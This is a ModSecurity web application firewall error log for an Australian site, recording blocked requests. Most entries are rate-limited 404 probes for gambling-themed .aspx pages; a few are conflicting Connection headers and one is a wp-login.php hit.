[Wed Feb 04 03:26:27.631666 2026] [:error] [pid 16958:tid 16964] [client 136.144.33.250:20215] [client 136.144.33.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.250, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYJL4_sRIl-kVnfUdfCDlgAAAMQ"]
[Wed Feb 04 05:19:43.722564 2026] [:error] [pid 18816:tid 18829] [client 182.44.67.97:38059] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYJmb8szZcOol_Iv-0UtrwAAAQo"]
[Wed Feb 04 05:33:18.835870 2026] [:error] [pid 47578:tid 47619] [client 43.166.226.57:50842] [client 43.166.226.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYJpnp5oatM9u8-yDv_vAQAAAEQ"]
[Wed Feb 04 06:45:51.010927 2026] [:error] [pid 47676:tid 47682] [client 43.157.62.101:37374] [client 43.157.62.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYJ6nwrYSkTgZEfUDqGB_AAAAMQ"]
[Wed Feb 04 08:22:13.789102 2026] [:error] [pid 47577:tid 47584] [client 65.108.78.33:19902] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYKRNavA4Yp0Sov-3kQp3AAAAAM"]
[Wed Feb 04 08:22:18.433661 2026] [:error] [pid 47579:tid 47653] [client 65.108.78.33:19916] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYKROvuxWks846_Vi2zx9AAAAIk"]
[Wed Feb 04 08:22:23.093328 2026] [:error] [pid 18816:tid 18829] [client 65.108.78.33:32374] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYKRP8szZcOol_Iv-0V2wQAAAQo"]
[Wed Feb 04 08:22:28.928175 2026] [:error] [pid 18816:tid 18830] [client 65.108.78.33:32376] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYKRRMszZcOol_Iv-0V22wAAAQs"]
[Wed Feb 04 08:22:32.425949 2026] [:error] [pid 47676:tid 47695] [client 65.108.78.33:32380] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYKRSArYSkTgZEfUDqGhVAAAANE"]
[Wed Feb 04 08:22:36.609776 2026] [:error] [pid 47676:tid 47680] [client 65.108.78.33:64618] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYKRTArYSkTgZEfUDqGhXQAAAMI"]
[Wed Feb 04 08:22:41.479060 2026] [:error] [pid 47577:tid 47582] [client 65.108.78.33:64632] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYKRUavA4Yp0Sov-3kQqMAAAAAE"]
[Wed Feb 04 08:22:45.927979 2026] [:error] [pid 55445:tid 55458] [client 65.108.78.33:43464] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYKRVVnd043q8WHuhu31NQAAAUs"]
[Wed Feb 04 08:22:49.263744 2026] [:error] [pid 47676:tid 47697] [client 65.108.78.33:43472] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYKRWQrYSkTgZEfUDqGhaAAAANM"]
[Wed Feb 04 08:22:53.553663 2026] [:error] [pid 55445:tid 55455] [client 65.108.78.33:24236] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYKRXVnd043q8WHuhu31PgAAAUg"]
[Wed Feb 04 08:22:56.992665 2026] [:error] [pid 47579:tid 47656] [client 65.108.78.33:24248] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYKRYPuxWks846_Vi2zyLAAAAIw"]
[Wed Feb 04 08:23:00.865515 2026] [:error] [pid 47578:tid 47634] [client 65.108.78.33:24258] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYKRZJ5oatM9u8-yDv8ijgAAAFM"]
[Wed Feb 04 08:23:04.577492 2026] [:error] [pid 47577:tid 47589] [client 65.108.78.33:12888] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYKRaKvA4Yp0Sov-3kQqUAAAAAg"]
[Wed Feb 04 08:32:21.634628 2026] [:error] [pid 47676:tid 47693] [client 45.92.1.79:54195] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTlQrYSkTgZEfUDqGkTQAAAM8"]
[Wed Feb 04 08:32:21.755485 2026] [:error] [pid 47578:tid 47619] [client 45.92.1.79:54217] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTlZ5oatM9u8-yDv8mFwAAAEQ"]
[Wed Feb 04 08:32:22.849125 2026] [:error] [pid 18816:tid 18834] [client 45.92.1.79:54740] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTlsszZcOol_Iv-0V81wAAAQ8"]
[Wed Feb 04 08:32:22.927729 2026] [:error] [pid 47577:tid 47590] [client 45.92.1.79:54824] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTlqvA4Yp0Sov-3kQtZAAAAAk"]
[Wed Feb 04 08:32:24.064766 2026] [:error] [pid 47577:tid 47589] [client 45.92.1.79:55323] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTmKvA4Yp0Sov-3kQtjgAAAAg"]
[Wed Feb 04 08:32:24.109423 2026] [:error] [pid 47579:tid 47658] [client 45.92.1.79:55345] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTmPuxWks846_Vi2z1uAAAAI4"]
[Wed Feb 04 08:32:25.264703 2026] [:error] [pid 47578:tid 47641] [client 45.92.1.79:55767] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTmZ5oatM9u8-yDv8mbQAAAFg"]
[Wed Feb 04 08:32:25.278924 2026] [:error] [pid 55445:tid 55455] [client 45.92.1.79:55782] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTmVnd043q8WHuhu34PgAAAUg"]
[Wed Feb 04 08:32:26.430240 2026] [:error] [pid 47577:tid 47590] [client 45.92.1.79:56069] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTmqvA4Yp0Sov-3kQtowAAAAk"]
[Wed Feb 04 08:32:26.450853 2026] [:error] [pid 47579:tid 47648] [client 45.92.1.79:56070] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYKTmvuxWks846_Vi2z12gAAAIQ"]
[Wed Feb 04 11:52:15.685495 2026] [:error] [pid 47405:tid 47449] [client 49.51.203.164:55344] [client 49.51.203.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYLCb6TmhSrwHQTn6I7mngAAAMk"]
[Wed Feb 04 12:00:55.126274 2026] [:error] [pid 47405:tid 47450] [client 223.244.35.77:43980] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYLEd6TmhSrwHQTn6I7o6AAAAMo"]
[Wed Feb 04 13:44:26.487378 2026] [:error] [pid 47500:tid 47511] [client 193.70.46.38:37220] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYLcurrUat0rhPdY3A2ubwAAAUc"]
[Wed Feb 04 13:44:29.225602 2026] [:error] [pid 47404:tid 47413] [client 193.70.46.38:59746] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYLcvVtGjJnGFKjTTuazagAAAIM"]
[Wed Feb 04 13:44:31.742991 2026] [:error] [pid 50578:tid 50600] [client 193.70.46.38:59758] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYLcv9YUQBXdXxfW1mcO0AAAABQ"]
[Wed Feb 04 13:44:34.558812 2026] [:error] [pid 47500:tid 47513] [client 193.70.46.38:42362] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYLcwrrUat0rhPdY3A2ujAAAAUk"]
[Wed Feb 04 13:44:37.189863 2026] [:error] [pid 8285:tid 8289] [client 193.70.46.38:42364] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYLcxRpweS7ndDaunz-BbwAAAEI"]
[Wed Feb 04 13:44:39.850317 2026] [:error] [pid 50578:tid 50594] [client 193.70.46.38:42370] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYLcx9YUQBXdXxfW1mcO4QAAAA4"]
[Wed Feb 04 13:44:42.636598 2026] [:error] [pid 50578:tid 50591] [client 193.70.46.38:42374] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYLcytYUQBXdXxfW1mcO6gAAAAs"]
[Wed Feb 04 13:44:45.293795 2026] [:error] [pid 8285:tid 8293] [client 193.70.46.38:51886] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYLczRpweS7ndDaunz-BfwAAAEY"]
[Wed Feb 04 13:44:47.765459 2026] [:error] [pid 47405:tid 47461] [client 193.70.46.38:51890] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYLcz6TmhSrwHQTn6I4FUAAAANU"]
[Wed Feb 04 13:44:50.318840 2026] [:error] [pid 47405:tid 47463] [client 193.70.46.38:51896] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYLc0qTmhSrwHQTn6I4FVQAAANc"]
[Wed Feb 04 13:44:52.790525 2026] [:error] [pid 47404:tid 47425] [client 193.70.46.38:51912] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYLc1FtGjJnGFKjTTuazqAAAAI8"]
[Wed Feb 04 13:44:55.327741 2026] [:error] [pid 50578:tid 50598] [client 193.70.46.38:39664] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYLc19YUQBXdXxfW1mcPAQAAABI"]
[Wed Feb 04 13:44:57.820618 2026] [:error] [pid 47404:tid 47430] [client 193.70.46.38:39670] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYLc2VtGjJnGFKjTTuazrgAAAJQ"]
[Wed Feb 04 13:45:00.346843 2026] [:error] [pid 47404:tid 47413] [client 193.70.46.38:39676] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYLc3FtGjJnGFKjTTuazrwAAAIM"]
[Wed Feb 04 13:45:02.789707 2026] [:error] [pid 47404:tid 47427] [client 193.70.46.38:39682] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYLc3ltGjJnGFKjTTuazsQAAAJE"]
[Wed Feb 04 13:45:05.363067 2026] [:error] [pid 47404:tid 47422] [client 193.70.46.38:53528] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYLc4VtGjJnGFKjTTuazswAAAIw"]
[Wed Feb 04 13:45:07.782954 2026] [:error] [pid 8285:tid 8297] [client 193.70.46.38:53534] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYLc4xpweS7ndDaunz-BrgAAAEo"]
[Wed Feb 04 13:45:10.189014 2026] [:error] [pid 8285:tid 8294] [client 193.70.46.38:53538] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYLc5hpweS7ndDaunz-BuAAAAEc"]
[Wed Feb 04 13:45:12.583674 2026] [:error] [pid 47406:tid 47468] [client 193.70.46.38:53540] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYLc6Aeu9R9b-_wtQ0LgxgAAAQE"]
[Wed Feb 04 13:45:14.976880 2026] [:error] [pid 47405:tid 47452] [client 193.70.46.38:58436] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYLc6qTmhSrwHQTn6I4F5AAAAMw"]
[Wed Feb 04 13:45:17.533695 2026] [:error] [pid 47404:tid 47421] [client 193.70.46.38:58438] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYLc7VtGjJnGFKjTTuaz2wAAAIs"]
[Wed Feb 04 13:45:19.920702 2026] [:error] [pid 47500:tid 47516] [client 193.70.46.38:58448] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYLc77rUat0rhPdY3A2u5AAAAUw"]
[Wed Feb 04 13:45:22.314599 2026] [:error] [pid 50578:tid 50600] [client 193.70.46.38:58450] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYLc8tYUQBXdXxfW1mcPdQAAABQ"]
[Wed Feb 04 13:45:42.859118 2026] [:error] [pid 47405:tid 47449] [client 193.70.46.38:39724] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYLdBqTmhSrwHQTn6I4GMwAAAMk"]
